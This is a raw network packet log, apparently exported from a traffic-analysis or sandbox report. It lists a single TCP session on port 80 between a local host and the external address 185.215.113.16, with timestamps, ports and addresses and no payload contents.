Oct 29, 2024 20:35:42.265081882 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.265095949 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.265106916 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.265120029 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.265173912 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.265173912 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.265568018 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.265582085 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.265630960 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.265800953 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.265815973 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.265825987 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.265898943 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.266067028 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.266078949 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.266092062 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.266127110 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.266141891 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.267102003 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.299145937 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.299175978 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.299199104 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.299268007 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.299365044 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.299382925 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.299474001 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.299624920 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.299700975 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.299730062 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.299865961 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.299875975 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.299886942 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.299942017 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.300272942 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.300283909 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.300295115 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.300307989 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.300370932 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.300370932 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.300749063 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.300761938 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.300771952 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.300784111 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.300822973 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.300822973 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.301508904 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.301521063 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.301532030 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.301543951 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.301593065 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.301593065 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.301830053 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.301841021 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.301851988 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.301865101 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.301930904 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.301930904 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.315484047 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.341291904 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.341305971 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.341422081 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.341589928 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.341677904 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.341780901 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.342879057 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.342989922 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.343003988 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.343080997 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.343239069 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.343260050 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.343271017 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.343343019 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.343343019 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.370735884 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.370793104 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.370810032 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.371335030 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.377466917 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.377576113 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.377590895 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.377628088 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.377628088 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.377860069 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.377871037 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.377991915 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.378098011 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.378112078 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.378123999 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.378150940 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.378464937 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.378475904 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.378487110 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.378489017 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.378530979 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.378530979 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.378777981 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.378787994 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.378799915 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.378869057 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.379129887 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.379139900 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.379151106 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.379225969 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.379225969 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.379498005 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.379509926 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.379520893 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.379791975 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.380285025 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.380346060 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.380384922 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.380397081 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.380444050 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.380599976 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.380610943 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.380774021 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.381345034 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.381405115 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.381416082 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.381483078 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.381629944 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.381640911 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.381666899 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.381671906 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.381683111 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.381696939 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.381743908 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.381745100 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.382158995 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.382169962 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.382247925 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.394145966 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.414551973 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.414644957 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.414657116 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.414764881 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.414824009 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.414834023 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.414846897 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.414989948 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.414989948 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.414989948 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.415185928 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.415302038 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.415338039 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.415352106 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.415497065 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.415504932 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.415508986 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.415519953 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.415532112 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.415611029 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.415611029 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.415919065 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.416001081 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.416132927 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.416146994 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.416157961 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.416169882 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.416183949 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.416455030 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.416491985 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.416574001 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.416582108 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.416588068 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.416599035 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.416611910 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.416835070 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.416835070 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.417124987 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.417136908 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.417150974 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.417167902 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.417315006 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.422761917 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.457081079 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.457144976 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.457160950 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.457233906 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.458349943 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.458400965 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.458411932 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.458528042 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.458528042 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.471093893 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.486181021 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.486201048 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.486216068 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.486320019 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.486362934 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.486373901 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.486386061 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.486416101 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.486453056 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.492861032 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.492921114 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.492935896 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.492978096 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.493171930 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.493184090 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.493272066 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.493340015 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.493352890 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.493424892 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.493591070 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.493654966 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.493683100 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.493695021 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.493705988 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.493740082 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.493921995 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.493941069 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.493953943 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.493961096 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.493998051 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.494194984 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.494205952 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.494213104 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.494308949 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.494460106 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.494471073 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.494481087 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.494539976 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.494540930 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.495938063 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.496041059 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.496056080 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.496131897 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.496258974 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.496272087 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.496323109 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.496470928 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.496488094 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.496500015 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.496515036 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.496515989 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.496588945 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.496886015 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.496898890 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.496911049 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.496925116 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.496942997 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.496985912 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.497348070 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.497383118 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.497395992 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.497406960 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.497494936 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.497494936 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.530036926 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.530121088 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.530127048 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.530134916 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.530245066 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.530273914 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.530289888 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.530354023 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.530522108 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.530534029 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.530642033 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.530708075 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.530716896 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.530832052 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.530837059 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.530846119 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.530966043 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.531084061 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.531095982 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.531109095 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.531121969 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.531135082 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.531143904 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.531157017 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.531542063 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.531589985 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.531608105 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.531735897 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.531748056 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.531893969 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.531938076 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.531944036 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.531946898 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.531959057 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.532048941 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.532354116 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.532358885 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.532365084 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.532398939 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.532412052 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.532414913 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.532507896 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.532870054 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.532881021 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.532996893 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.533561945 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.548026085 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.572568893 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.572592974 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.572604895 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.572761059 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.573648930 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.573731899 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.573745012 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.573770046 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.573833942 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.573972940 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.601814032 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.601855040 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.601886034 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.601888895 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.601931095 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.602145910 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.602157116 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.602397919 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.602406979 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.602658987 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.602658987 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.608494043 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.608572960 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.608583927 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.608668089 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.608793974 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.608804941 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.608815908 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.608884096 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.608884096 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.609091997 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.609251976 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.609266043 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.609314919 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.609570980 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.609581947 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.609591961 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.609605074 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.609607935 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.609627962 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.609642029 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.609642029 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:42.609695911 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:42.610163927 CET	80	49873	185.215.113.16	192.168.2.7
